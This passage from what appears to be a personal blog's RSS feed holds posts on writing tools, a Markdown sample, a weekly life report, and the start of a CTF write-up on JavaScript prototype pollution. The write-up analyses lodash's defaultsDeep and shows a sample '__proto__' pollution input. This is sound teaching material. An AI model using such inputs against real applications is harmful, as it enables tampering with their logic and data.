&lt;p&gt;&lt;img src=&quot;./attachments/bafybeig4euej54zvwrrr5fly7d3ykjocei4skkwgqipncawc2ltdltx6ci.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好像是还挖了个坑介绍下为什么要用Ulysses写作来着（划掉🐶）&lt;/p&gt;
&lt;p&gt;简单介绍下我最喜欢的功能吧：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实用的侧边栏：
&lt;ul&gt;
&lt;li&gt;字数统计及目标设定，看到自己在几天内达到目标还是很有成就感的&lt;/li&gt;
&lt;li&gt;关键字及分组，类似于标签管理了，但我觉得这个关键字及分类还挺有用的&lt;/li&gt;
&lt;li&gt;批注，这个强烈推荐，我经常文章写到一半，有时要配个图or针对某个细节点完善，但又常常忘记，批注是个很实用的功能。最关键的是这个批注是扩展md语法，没有任何额外操作&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;发布：支持一键发布到medium、ghost、WordPress等地方，不过我现在最常用的就是一键发布到medium了&lt;/li&gt;
&lt;li&gt;导出：丰富的导出选项，md、text、epub、pdf等格式都支持&lt;/li&gt;
&lt;li&gt;搜索：搜索很简洁，也很快速实用，配合关键字分组基本随时都能定位到我正在写的文章&lt;/li&gt;
&lt;li&gt;图片：图片管理可以说很有特点了，不会像其他md文档贴一张图直接占满整个屏幕🤣，也不用自己费劲调整图片的大小了&lt;/li&gt;
&lt;li&gt;打字机模式：目前体验到的最丝滑的打字机模式了，有时候想法上来了，我能一口气写几千字，配合快捷键不用任何鼠标操作&lt;/li&gt;
&lt;li&gt;主题：主题这个也很丰富，不过个人感觉默认的黑白配色是我的最爱，也可以单独针对标题等格式进行字体的微调&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;提升转化率&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;随时打开随时写，提升笔记转换率&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对于一个随时随地都有无穷无尽想法的人来说，要求很简单，随时打开随时写。我想大部分程序员每天用的最多的，除了代码编辑器之外就是浏览器了吧。&lt;/p&gt;
&lt;p&gt;而如果你想记笔记，此时光是cmd+tab切换到对应的笔记软件就已经耗费了所有心力了，尤其是工作忙的时候还比较健忘&lt;/p&gt;
&lt;p&gt;游戏买量领域里有一个提升买量竞争力的办法，那就是快速转换，如果用户点击了你的链接，还需要面临长达1min的白屏，那么可以想见的结果必然是用户的大量流失，为了提升买量的转化率，小游戏，轻游戏，h5游戏，试玩版才纷纷出现，本质上就是让用户通过广告进来经过短暂几秒即可快速留存并转化&lt;/p&gt;
&lt;p&gt;因此，提升转换率，提升想法-&amp;gt;文字的转化率，才是最重要的&lt;/p&gt;
&lt;p&gt;我还是挺喜欢edge浏览器的侧边栏功能的，方便记录（摸鱼），有想法了随时打开记录就好&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibb6p7sp55fnqmkiifba6jvklfz2vqprziv52qvzq6egnn6hlxzfi.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;增加信息处理的链路&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;与其事先精心分类，不如增加信息处理的链路&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;信息接收与整理是并重的，甚至整理才是最重要的篇幅。
我之前陷入了一个误区，即不停地依赖更换笔记工具，来督促自己实现整理，并没有一个整理的方法论
这就导致我记录了大量的信息，散落在不同的笔记软件中，从最开始的印象笔记-&amp;gt;有道云笔记-&amp;gt;Notion-&amp;gt;obsidian-&amp;gt;logseq
就在我即将要迈入 heptabase 一去不复返的路上，我猛然惊醒，一脚踏入泥淖的同时，另一脚还还没迈出，还剩一丝机会能够逃离这个循环陷阱&lt;/p&gt;
&lt;p&gt;我将信息处理分为多级链路：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;草稿&lt;/li&gt;
&lt;li&gt;粗加工&lt;/li&gt;
&lt;li&gt;回顾与精加工&lt;/li&gt;
&lt;li&gt;整理输出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每一个层级都有可以选择自己趁手的工具，比如我在草稿阶段就会选择直接记录在flomo网页上，微信读书笔记里，粗加工则是记录到logseq中&lt;/p&gt;
&lt;p&gt;回顾与精加工则是通过logseq的标签聚合或者白板来整理，最后的输出则是转到Ulysses上&lt;/p&gt;
</content:encoded></item><item><title>Markdown Example</title><link>https://rayepeng.net/posts/markdown/</link><guid isPermaLink="true">https://rayepeng.net/posts/markdown/</guid><description>A simple example of a Markdown blog post.</description><pubDate>Sun, 01 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;An h1 header&lt;/h1&gt;
&lt;p&gt;Paragraphs are separated by a blank line.&lt;/p&gt;
&lt;p&gt;2nd paragraph. &lt;em&gt;Italic&lt;/em&gt;, &lt;strong&gt;bold&lt;/strong&gt;, and &lt;code&gt;monospace&lt;/code&gt;. Itemized lists
look like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;this one&lt;/li&gt;
&lt;li&gt;that one&lt;/li&gt;
&lt;li&gt;the other one&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that --- not considering the asterisk --- the actual text
content starts at 4-columns in.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Block quotes are
written like so.&lt;/p&gt;
&lt;p&gt;They can span multiple paragraphs,
if you like.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Use 3 dashes for an em-dash. Use 2 dashes for ranges (ex., &quot;it&apos;s all
in chapters 12--14&quot;). Three dots ... will be converted to an ellipsis.
Unicode is supported. ☺&lt;/p&gt;
&lt;h2&gt;An h2 header&lt;/h2&gt;
&lt;p&gt;Here&apos;s a numbered list:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;first item&lt;/li&gt;
&lt;li&gt;second item&lt;/li&gt;
&lt;li&gt;third item&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note again how the actual text starts at 4 columns in (4 characters
from the left side). Here&apos;s a code sample:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Let me re-iterate ...
for i in 1 .. 10 { do-something(i) }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you probably guessed, indented 4 spaces. By the way, instead of
indenting the block, you can use delimited blocks, if you like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define foobar() {
    print &quot;Welcome to flavor country!&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(which makes copying &amp;amp; pasting easier). You can optionally mark the
delimited block for Pandoc to syntax highlight it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
# Quick, count to ten!
for i in range(10):
    # (but not *too* quick)
    time.sleep(0.5)
    print i
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;An h3 header&lt;/h3&gt;
&lt;p&gt;Now a nested list:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;First, get these ingredients:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;carrots&lt;/li&gt;
&lt;li&gt;celery&lt;/li&gt;
&lt;li&gt;lentils&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Boil some water.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dump everything in the pot and follow
this algorithm:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; find wooden spoon
 uncover pot
 stir
 cover pot
 balance wooden spoon precariously on pot handle
 wait 10 minutes
 goto first step (or shut off burner when done)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do not bump wooden spoon or it will fall.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Notice again how text always lines up on 4-space indents (including
that last line which continues item 3 above).&lt;/p&gt;
&lt;p&gt;Here&apos;s a link to &lt;a href=&quot;http://foo.bar&quot;&gt;a website&lt;/a&gt;, to a &lt;a href=&quot;local-doc.html&quot;&gt;local
doc&lt;/a&gt;, and to a &lt;a href=&quot;#an-h2-header&quot;&gt;section heading in the current
doc&lt;/a&gt;. Here&apos;s a footnote [^1].&lt;/p&gt;
&lt;p&gt;[^1]: Footnote text goes here.&lt;/p&gt;
&lt;p&gt;Tables can look like this:&lt;/p&gt;
&lt;p&gt;size material color&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;9 leather brown
10 hemp canvas natural
11 glass transparent&lt;/p&gt;
&lt;p&gt;Table: Shoes, their sizes, and what they&apos;re made of&lt;/p&gt;
&lt;p&gt;(The above is the caption for the table.) Pandoc also supports
multi-line tables:&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;keyword text&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;red Sunsets, apples, and
other red or reddish
things.&lt;/p&gt;
&lt;p&gt;green Leaves, grass, frogs
and other things it&apos;s
not easy being.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;A horizontal rule follows.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Here&apos;s a definition list:&lt;/p&gt;
&lt;p&gt;apples
: Good for making applesauce.
oranges
: Citrus!
tomatoes
: There&apos;s no &quot;e&quot; in tomatoe.&lt;/p&gt;
&lt;p&gt;Again, text is indented 4 spaces. (Put a blank line between each
term/definition pair to spread things out more.)&lt;/p&gt;
&lt;p&gt;Here&apos;s a &quot;line block&quot;:&lt;/p&gt;
&lt;p&gt;| Line one
| Line too
| Line tree&lt;/p&gt;
&lt;p&gt;and images can be specified like so:&lt;/p&gt;
&lt;p&gt;Inline math equations go in like so: $\omega = d\phi / dt$. Display
math should get its own line and be put in in double-dollarsigns:&lt;/p&gt;
&lt;p&gt;$$I = \int \rho R^{2} dV$$&lt;/p&gt;
&lt;p&gt;$$
\begin{equation*}
\pi
=3.1415926535
;8979323846;2643383279;5028841971;6939937510;5820974944
;5923078164;0628620899;8628034825;3421170679;\ldots
\end{equation*}
$$&lt;/p&gt;
&lt;p&gt;And note that you can backslash-escape any punctuation characters
which you wish to be displayed literally, ex.: `foo`, *bar*, etc.&lt;/p&gt;
</content:encoded></item><item><title>周报16 花在杯中，月在杯中</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A516-%E8%8A%B1%E5%9C%A8%E6%9D%AF%E4%B8%AD%E6%9C%88%E5%9C%A8%E6%9D%AF%E4%B8%AD/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A516-%E8%8A%B1%E5%9C%A8%E6%9D%AF%E4%B8%AD%E6%9C%88%E5%9C%A8%E6%9D%AF%E4%B8%AD/</guid><pubDate>Sat, 30 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报16 花在杯中，月在杯中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiecpn4fkd5rglmcbkivtupitiiicjzc7yz6r7b65csmuu7hzmhjhe.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你要写月，就不能只写月
要写这苍穹之上的寒魄
写清光满杯，写对影独酌
要写二十四桥流水，泠泠无声
再写千里梦远
写九霄宫阙，写桂影婆娑
写山河万里俯瞰的灯火
笔锋一转，喧闹之外
冷露打湿了桂花，
霜华惊醒了游子
最后只剩
花在杯中，月在杯中&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;中秋——和一群人一起度过&lt;/p&gt;
&lt;p&gt;很开心参加了吾非书店的中秋活动，一起共度季羡林的《月是故乡明》，还有精美的茶歇，围观了手工灯笼的制作，同时还参加了诗词名句抢答接龙与猜灯谜。&lt;/p&gt;
&lt;p&gt;（补充一段，在我参加这个活动之前，我从未想过，在我每天上班的路上，在行人匆匆，车如流水马如龙的路边，铃声叮当响的自行车停靠点边，竟然隐藏着一家如此有文化气息的书店！所谓大隐隐于市，也不过如此了吧&lt;/p&gt;
&lt;p&gt;盗图，非我拍🐶，来自店长的视频号&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiayxprw6xr2jkbgt5y5zy3smfhmqtvoup3tq3gz47uq4zc6vxjd6y.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeialtlv4h7gjjdtalnbcaqn46oajfehu42jpztnqex23y4lbuxmym4.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ENFJ人格参与这些活动还是没有任何压力的🤣，书店店长衣然小姐姐好漂亮，一袭古典的旗袍，映衬出一种说不出的美。不过共度环节有点像小学生上语文课哈哈哈😆，不过紧接着的讨论就让我感受到了区别于语文课的惊喜，大家分享的都是自己的感受，和月亮相关的故事（虽然就我和另外一个同学讲的最多🐶）。&lt;/p&gt;
&lt;p&gt;年年今夜，月华如练，长是人千里。这是我分享的，也是我认为所有中秋写月里，我最喜欢的一句词。尽管月亮的名篇数不胜数，最著名的有《春江花月夜》，孤篇压全唐，也有每年都少不了被提及的苏子《明月几时有》。&lt;/p&gt;
&lt;p&gt;我还记得是去年的中秋，当天晚上还在公司和球友激战，等到出公司的时候，在等车的瞬间，猛然抬头望去，纵我不曾有“月出于东山之上，徘徊于斗牛之间”的体验，但在那两栋高高耸起的楼中间，仿佛就拿一道缝隙，一轮明月悬空，明月总是能唤起一些东西的。谁曾想到，就在一千年前，范仲淹所写的“年年今夜，月华如练，长是人千里”突然间在我耳畔回响，于是就有了这条朋友圈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihr7qnpimyn5y5l2l3f4b4txwmutbcdfr6mazsdacfpdpf37pva6u.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在活动小憩的片刻，还发现了书店的一角，留有好多好多人的记录，且拍下来记录下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihag36yja7unz3eqeyfiqty6s3ipm5bk3kzpf2e4g55j2msaga3w4.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6107397461908764258-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我最喜欢的就是这一条了！！！哪有那么多，这正是贾宝玉所谓，除了《四书》，杜撰的也太多了，偏我杜撰的就不行？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibok36mwh3oy2kkkauw3ob3qzumhsl6irhd52zvcbvyfhg7sqvl6e.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6107397461908764260-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihfbkjb5r45lrmxb5sszhxwvafzudasjnscph676qj4kpril7j7gu.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6107397461908764261-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidmqc63jfe6dd6pfbicqb56fg4v7rzxbpkn5oid6sqi75bqwg3w6i.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6107397461908764263-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibjhhc7wutditm2q4u3mv6p52zjlqwfsd5ribrw6chq6tdxzztvca.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6107397461908764259-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后，留下店长的一句话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我想一个人在一路摸爬滚打的岁月后，还能保持天真简单的“傻气”，他（她）身边一定有很多很多人，明里暗中在保护。
而卸下戒备，袒露楚河汉界背后的一段段创伤，放下坚硬，也是一种勇气。
愿一起绽放光芒。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;📺 追剧&amp;amp; 🎮游戏&lt;/p&gt;
&lt;p&gt;Astrea 23年最值得玩的卡牌肉鸽游戏 | ★ ★ ★ ★ ★ 推荐&lt;/p&gt;
&lt;p&gt;独立游戏蜥蜴君up安利了一款今年最值得玩的卡牌肉鸽游戏：Astrea阿斯特赖亚&lt;/p&gt;
&lt;p&gt;我连他的分析视频都没看完就去买了🤣，这游戏的机制很简单，净化与腐化，对怪物而言，腐化是加血，对你的角色而言，腐化是扣血，反之同理&lt;/p&gt;
&lt;p&gt;刚开始确实没理解到这个设计的精妙之处，以为就是换了个名字。但紧接着你就会不由自主的发现，腐化对你的角色来说并不一定是坏事，也可以随着血量的降低获得更厉害的技能。&lt;/p&gt;
&lt;p&gt;除此外，骰子替换卡牌的设定，也让随机性进一步加强，骰子的面和效果的分布，也决定着你的套路，是走极端的收益路线，还是中规中矩，或者是保守路线。这都是要配合角色的特点来考虑的&lt;/p&gt;
&lt;p&gt;当然，杀戮尖塔还是天花班级别的存在🐶，只不过这款游戏确实有一些新的设计和思考，不说了我再去开一把&lt;/p&gt;
&lt;p&gt;The Morning Show | ★ ★ ★ ★ ★ 推荐&lt;/p&gt;
&lt;p&gt;Apple Tv已经更新了4集 The Morning Show，作为我入坑Apple TV追的第一部剧&lt;/p&gt;
&lt;p&gt;剧情其实略显平淡，中间有好几处为了转折而转折&lt;/p&gt;
&lt;p&gt;但如果坚持看下去，你就会发现科里的台词充满了语言艺术，豆瓣上刷到一篇帖子：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://movie.douban.com/review/15449097/&quot;&gt; 假如用字面意思理解《早间新闻》科里的台词…… &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Kill the people 去打动观众吧&lt;/li&gt;
&lt;li&gt;Kill this story 这个故事不能发布（这部剧的台词到处都是kill哈哈哈&lt;/li&gt;
&lt;li&gt;What doesn’t kill you… Almost kills you （听君一席话&lt;/li&gt;
&lt;li&gt;We can sit around counting beans or … （我们可以坐下来数豆子，精打细算的意思&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;凡此种种还有很多，这也是我舍不得快进的理由，人物的语言、肢体动作、表情实在是太丰富了。更不用说，其中充斥了对美国政治正确的嘲讽🐶&lt;/p&gt;
&lt;p&gt;追美剧的一些方法论&lt;/p&gt;
&lt;p&gt;最近也越来越喜欢总结一些方法论，在我看来长期坚持做任何一件事情都不亚于修行。我们或多或少都是被一些偶然的多巴胺给刺激，并吸引而来，但若想真正坚持下去，总会遇到缺少知音，缺少分享，缺少动力的困境。终将走入一团迷雾中，而方法论则是指引我们克服多巴胺的这种天生的缺陷&lt;/p&gt;
&lt;p&gt;于是也顺便也分享下我追美剧的一些感悟，主要谈谈是否需要中英双语字幕&lt;/p&gt;
&lt;p&gt;其实我并不觉的双语字幕有什么太大的价值，你可能会觉得对于学习英语有很大的帮助，去你的吧，追个剧还学个毛的英语，
最开始你可能会喜欢对照双语字幕，来检验一下自己的英语能力。但很快你就会发现太累了，于是索性只看中文字幕了。&lt;/p&gt;
&lt;p&gt;我追剧一般用的Netflix或者Apple TV，直接看中文字幕也没任何问题，既不耽误我追剧的体验，偶尔听到一些熟悉的单词，或者用自己刚过六级的英语来跟着主角说两句。&lt;/p&gt;
&lt;p&gt;当然，我也会刻意去追一些生肉，主要是在Max或者hulu上看，这时全英文字幕虽然刚开始看的时候有很大压力，但很快就发现，追剧的时候一大半台词都是没用的，把握好剧情主线就差不多了。同时，由于是全英文字幕，对于一些难以用中文翻译的有趣表达，往往也能get到其中非常有趣的点&lt;/p&gt;
&lt;p&gt;📝开始动笔，2023年的总结&lt;/p&gt;
&lt;p&gt;2023年也只剩三个月了，这一年让我认识到了太多的新事物，也是我工作中一个刚刚好的时间点。摆脱了初来职场的一些稚嫩，开始对自己的人生有所规划与思考，开始培养一些习惯，思考一些以后的问题。于是，在这周的某天，就开始动笔写23年的总结了&lt;/p&gt;
&lt;p&gt;如果要说23年我最想选来作为代表的一句话，那可能是&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我是个赶路人，却总是忍不住贪看山色&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以此，作为23年年报的开头吧，诸君请期待吧：&lt;/p&gt;
&lt;p&gt;匆匆忙忙的2023年也即将接近尾声了，在这一年中有过压力，有过失落，有过每个人都经历过的至暗时刻，有过独自登台的怅惘，也有过把栏杆拍遍的豪情
但不管怎样，总不会忘记记忆中的一些星星点点，正是这些关于挚友、关于阅读、关于旅行、关于失而复得喜悦，关于冥思苦想的明悟，关于上下求索的执迷，纵横交织，忽明忽暗，勾勒出每个人不同的风景线，描绘出独具一格的山光水色
初读到张晓风这一句的时候，只觉的浮躁的心灵瞬间被涤荡了，洗净了。盈盈一水间，莽莽深林处，被行程选择的赶路人，面对这湖光山色，还是值得贪恋几许的吧
我也曾在一篇写过的周报总结中中化用了这句：赶路人，何方走走停停呢？&lt;/p&gt;
&lt;p&gt;💭一些思考，少一点生活类的文章？&lt;/p&gt;
&lt;p&gt;我总是想找一些优质的技术文章，但放眼望去，似乎大家写博客的时候都喜欢做生活记录，技术类的文章反而相对较少。我曾经想过是不是要少写一点，但&lt;/p&gt;
&lt;p&gt;为什么要少些生活类的文章？其实我觉得也未尝不可，但从个人角度出发，还是希望能多写一点技术类的文章，虽然生活和工作已经够累了，难道写博客也不让人放松吗🤣。不过我还是觉得既然博客是作为一种激励我写作的方式，那么就必须得有足够的价值&lt;/p&gt;
&lt;p&gt;目前周报的作用还是在于去分享我那无处安放的表达欲，同时作为一个记录习惯来打卡。只是技术文章对自己的要求太高了，没有搞清楚的时候又不太敢写，但何必呢，拖延症的一个症状就是完美焦虑。我还是会希望自己的文章中，技术类的比重提高&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.xiaoyuzhoufm.com/episode/64e35e883fa4090b74de8304&quot;&gt;你的孤独，虽败犹荣&lt;/a&gt;，很喜欢这一期播客，每个人都是一座孤岛，但是通过这篇播客却能让我感受到一种无形之中的牵绊&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1EU4y1X7J1&quot;&gt; 蜥蜴肉鸽杂谈01】为什么杀戮尖塔是肉鸽卡牌里“唯一的神”？从肉鸽游戏的随机性谈起 &lt;/a&gt; 蜥蜴君的游戏分析，杀戮尖塔也绝对是我所玩过的不管是卡牌游戏还是肉鸽游戏里最顶尖的存在&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1vN411n7FE&quot;&gt; 年度最佳策略肉鸽卡牌预定？吹爆！【Astrea阿斯特赖亚】游戏测评 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xlog.htcube.top/volar-types-issue-3585&quot;&gt; 记一次类型体操与其实战应用 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1pa411N7bw&quot;&gt; 曲中剑】最惊艳我的一曲——《胡笳十八拍》&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=RLoz2JYtVUM&quot;&gt; infuse进阶带你全面了解Apple TV全能搭档，必备(补档20211203）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://movie.douban.com/review/15449097/&quot;&gt; 假如用字面意思理解《早间新闻》科里的台词…… &lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>JS原型链污染及AST注入的几道题目</title><link>https://rayepeng.net/posts/js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%8F%8Aast%E6%B3%A8%E5%85%A5%E7%9A%84%E5%87%A0%E9%81%93%E9%A2%98%E7%9B%AE/</link><guid isPermaLink="true">https://rayepeng.net/posts/js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%8F%8Aast%E6%B3%A8%E5%85%A5%E7%9A%84%E5%87%A0%E9%81%93%E9%A2%98%E7%9B%AE/</guid><pubDate>Mon, 25 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JS原型链污染及AST注入的几道题目&lt;/p&gt;
&lt;p&gt;先放一张原型链的图压压惊&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicd7nqigjq6obpj7ex73p2z4nkybzwcv4ugqutoobwjphyy5jj4ve.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;redpwnctf 2019 blueprint&lt;/p&gt;
&lt;p&gt;功能分析&lt;/p&gt;
&lt;p&gt;创建用户&lt;/p&gt;
&lt;p&gt;&lt;code&gt;userId&lt;/code&gt; 作为每个用户的cookie&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;userId = makeId()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建了一个空对象 &lt;code&gt;bpProto&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const bpProto = {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，创建了一个对象 &lt;code&gt;flagBp&lt;/code&gt;，它有一个属性 &lt;code&gt;content&lt;/code&gt;，值是 &lt;code&gt;flag&lt;/code&gt;，说明每个用户其实都有一个flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const flagBp = {
  content: flag,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;flagBp&lt;/code&gt; 的 &lt;code&gt;constructor&lt;/code&gt; 属性被设置为一个新对象，这个新对象有一个属性 &lt;code&gt;prototype&lt;/code&gt;，值是 &lt;code&gt;bpProto&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flagBp&lt;/code&gt; 的 &lt;code&gt;__proto__&lt;/code&gt; 属性也被设置为 &lt;code&gt;bpProto&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;flagBp.constructor = {prototype: bpProto}
flagBp.__proto__ = bpProto
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，组装为user对象&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;user = {
  bpProto,
  blueprints: {
    [makeId()]: flagBp,
  },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flagBp.__proto__ = bpProto
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;flagBp&lt;/code&gt; 的 &lt;code&gt;constructor&lt;/code&gt; 属性被设置为一个新的对象，这个对象的 &lt;code&gt;prototype&lt;/code&gt; 属性是 &lt;code&gt;bpProto&lt;/code&gt;。这个操作并不会影响 &lt;code&gt;flagBp&lt;/code&gt; 的原型链，因为 &lt;code&gt;constructor&lt;/code&gt; 属性并不参与原型链的查找。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;flagBp&lt;/code&gt; 的 [[Prototype]] 属性（即 &lt;code&gt;__proto__&lt;/code&gt;）被设置为 &lt;code&gt;bpProto&lt;/code&gt;。这个操作会改变 &lt;code&gt;flagBp&lt;/code&gt; 的原型链。之后，当你试图访问 &lt;code&gt;flagBp&lt;/code&gt; 上不存在的属性时，JavaScript 将在 &lt;code&gt;bpProto&lt;/code&gt; 对象上查找这个属性。&lt;/p&gt;
&lt;p&gt;创建笔记&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;展示笔记&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const blueprintId = makeId()
user.blueprints[blueprintId] = {
content: parsedBody.content,
public: parsedBody.public,
}

res.end(blueprintId)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;lodash原型链污染&lt;/p&gt;
&lt;p&gt;在 Lodash 的 &lt;code&gt;_.defaultsDeep&lt;/code&gt; 函数中，如果攻击者可以控制源对象，并使其包含对 &lt;code&gt;Object.prototype&lt;/code&gt; 的引用，那么就可以通过这个函数污染原型链。&lt;/p&gt;
&lt;p&gt;例如:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let user_input = { malicious_key: &apos;malicious_value&apos; };
_.defaultsDeep({}, user_input);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果可以控制 &lt;code&gt;user_input&lt;/code&gt;，并将其设置为 &lt;code&gt;{ &apos;__proto__&apos;: { malicious_key: &apos;malicious_value&apos; } }&lt;/code&gt;，那么所有对象的 &lt;code&gt;malicious_key&lt;/code&gt; 属性将被设置为 `&apos;malicious_value&apos;（根据原型链的查找规则）&lt;/p&gt;
&lt;p&gt;Lodash （4.17.21）修复，而代码中的 Lodash 版本小于4.17.21&lt;/p&gt;
&lt;p&gt;解题思路&lt;/p&gt;
&lt;p&gt;我们看到 &lt;code&gt;flagBp&lt;/code&gt; 的两个属性, &lt;code&gt;constructor.prototype&lt;/code&gt; 和 &lt;code&gt;__proto__&lt;/code&gt; 都指向了 &lt;code&gt;bpProto&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么 &lt;code&gt;flagBp.public&lt;/code&gt; 属性就只能去原型链上找，而 &lt;code&gt;flagBp.__proto__&lt;/code&gt; 指向了 &lt;code&gt;bpProto&lt;/code&gt;&lt;/p&gt;
